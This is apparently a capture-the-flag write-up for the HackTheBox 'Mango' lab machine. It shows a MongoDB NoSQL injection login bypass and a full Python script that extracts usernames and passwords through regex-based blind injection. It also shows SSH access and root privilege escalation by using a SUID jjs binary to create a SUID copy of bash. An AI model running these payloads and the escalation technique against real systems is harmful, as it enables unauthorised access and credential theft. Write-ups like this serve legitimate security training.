Mango

Grab a bite!

HackTheBox Mango Machine Info Card

Mango is a medium difficulty machine running Linux that tests your knowledge in OSINT, Mongo DB exploitation and privilege escalation through a GTFOBin. This is one of those machines that gives a pretty good hint in it’s name.

Be sure to checkout the Basic Setup section before you get started.

Enumeration

Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.

Portscan

portscan mango.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 21:31 GMT
Nmap scan report for 10-10-10-162.tpgi.com.au (10.10.10.162)
Host is up (0.39s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.98 seconds

Straight off the mark we see that we have port 80 and 443 open. However, port 80 returns 403 Forbidden but we see that port 443 returns the http title Mango | Search Base which tells us there is an accessible website.

Another thing we notice is the SSL certificate for the VHost domain staging-order.mango.htb. Let’s add this domain to our /etc/hosts along with mango.htb and then go check them out.

Domains

Going to https://mango.htb as expected we are presented with the SSL warning. Our gut instinct here is that the intended domain is staging-order.mango.htb. But let’s continue on anyway by clicking Advanced and then Accept the Risk and Continue.

We see the following site mimicking Google search:

Mango Main Screenshot

If we try and search we get 0 results found.

Taking a look at the source of the site we see that it is a static site that always show no results. Within the source we also see that the logo is being hosted via the github repository https://github.com/MangoDevelopers. This maybe useful later so we will just keep that in mind.

At the top right menu we see a bunch of dead links except for the Analytics which naviagtes to analytics.php:

Mango Analytics Screenshot

We see some errors which show a link that takes us to https://www.flexmonster.com. Quickly we see that this is a web client-side JavaScript component. Most likely of no use to us so let’s just take note and go checkout our other domain.

On navigating to https://staging-order.mango.htb we see the following:

Mango Staging Screenshot

Now this is looking more like it. Trying a few common default passwords yields nothing. Let’s look for some interesting directories that may help us.

Directory Brutforce

gobuster dir -u http://staging-order.mango.htb -t 10 -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://staging-order.mango.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/11/25 23:16:40 Starting gobuster
===============================================================
/vendor (Status: 301)
===============================================================
2019/11/25 23:19:09 Finished
===============================================================

We find the vendor directory. Let’s check that too:

gobuster dir -u http://staging-order.mango.htb/vendor -t 10 -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://staging-order.mango.htb/vendor
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/11/25 23:24:57 Starting gobuster
===============================================================
/composer (Status: 301)
===============================================================
2019/11/25 23:27:28 Finished
===============================================================

We recognize this folder as the tool Composer a Dependency Manager for PHP.

Being familiar with this tool we know that there should be a file called installed.json which will show us what dependencies are installed:

Mango Installed.json Screenshot

We see that the tool Mongo PHP Adapter is installed. This tells us that we have Mongo Database in the backend which in combination with a PHP MongoDB driver can be susceptible to NO-SQL injection similar to that of SQL. Looks like we may have potentially found our weak point.

User

Now Mongo injection is not the same as SQL. Instead of dealing with string parameters we are dealing with objects so the usual ?username=admin&password=" OR 1 -- trick won’t work.

However, by passing objects through the PHP MongoDB driver we can accomplish the same with ?username=admin&passwd[$ne]=1.

Since we also do not know the username we will use username[$ne]=&password[$ne]=&login=login and will be doing so in a POST request.

Loading up Burp Suite we make our way to the Proxy tab where we ensure Intercept is on and our browser is set to use the Burpsuite proxy.

Once setup we will click the Login button on our page. We should now see the following in Burps proxy tab:

Mango Burp Proxy Screenshot

Now we replace username=&password=&login=login with username[$ne]=&password[$ne]=&login=login and click Forward.

Lo and behold we are logged in and presented with an Under Contruction page:

Mango Under Construction Screenshot

Nothing overly interesting but we do find the email admin@mango.htb which we will take note of.

Even though we haven’t gained access to anything mangoliciously “juicy” we do now know that we have an exploitation to take advantage of.

Let’s see if we can extract some usernames and passwords.

Doing some research we find a handy page that explains how to extract the length of usernames and passwords as well as using Regex to enumerate the characters.

At a closer look we also see a script and one line jumps out at us: params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}

A bit below that we see the request is being sent as a POST request. This looks very similar to how we accessed the construction page with Burp.

Taking a look at the rest of the code in the script we can establish that this maybe exactly what we were looking for.

We will copy the following code into a file called post-brute.py and add the following:

import requests
import string

url = "http://staging-order.mango.htb"
headers = {"Host": "staging-order.mango.htb"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:                                      
                        username += c2                                                                                                                                                      
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

Running the script we get this output:

python post-brute.py
Found username starting with a
^ad
^adm
^admi
^admin
Found username: admin
Found username starting with m
^ma
^man
^mang
^mango
Found username: mango
Extracting password of admin
Found password t9......#2 for username admin
Extracting password of mango
Found password h3......5H for username mango

We have found two usernames admin and mango as well as two passwords.

Since we know that the ssh port is open let’s go try and login using our new found credentials.

We find that only the user mango seems to have ssh access:

ssh mango@mango.htb
mango@mango.htbs password: 
Last login: Sat Apr 18 05:09:39 2020 from 10.10.14.7
mango@mango:~$ ls -l
total 0

However, we do not find the user.txt flag.

Let’s try accessing admin:

mango@mango:~$ su admin
Password: 
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ pwd
/home/mango
$ cat ~/user.txt
79bf31c6c6.....f7f8b47e92

We have our user flag! Next we go for root.

Root

Now that we have access to two accounts let’s see if either have sudo privileges by using the -l flag.

We find that both uers get the message Sorry, user <username> may not run sudo on mango.

So we have a few options here. We can either look for exploits or look for scripts/programs we can run with root privileges.

Given that when logging in we noticed the OS to be Ubuntu 18.04.2 and has minimal uninstalled security updates we will have a search for scripts/programs first.

Because we are wanting a script owned by root but can be run by admin we will use the find command searching for anything that is owned by root but gives permissions to users in the admin group like so:

find / -regextype posix-extended -regex "/(sys|srv|proc|run)" -prune -o -user root -group admin -ls 2>&1 | grep -v "Permission denied"
274666     12 -rwsr-sr--   1 root     admin       10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

Bingo! We find a program that we have access to.

Taking a look at GTFOBins we see we can use jjs to gain root privileges.

However, we do not have sudo privileges and the SUID method only works on macOS.

Attempting to use the reverse shell method we find that our session freezes and is unusable.

What we can do is read a file which we can use to read /root/root.txt but that is no fun.

Instead we will use a combination of GTFOBins using jjs and bash like so:

$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/bash').waitFor()" | jjs
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/bash').waitFor()
0
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /tmp/bash').waitFor()" | jjs
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /tmp/bash').waitFor()
0
$ /tmp/bash -p
bash-4.4# cat /root/root.txt
8a8ef79a7a....8424e9ab15

And there we have it… another machine rooted!

Conclusion

Mango was an interesting machine and points out real world dangers with using PHP Mongo adapters as well giving incorrect permissions to programs.

While reviewing this writeup and looking down other paths there are some serious potential for rabbitholes at every turn. From the Flexmonster analytics page that led to a GitHub repo I noticed LinkedIn company profiles, blogs, social accounts… the works. Some people may have lost more than a few hairs along the way!

Hack The Box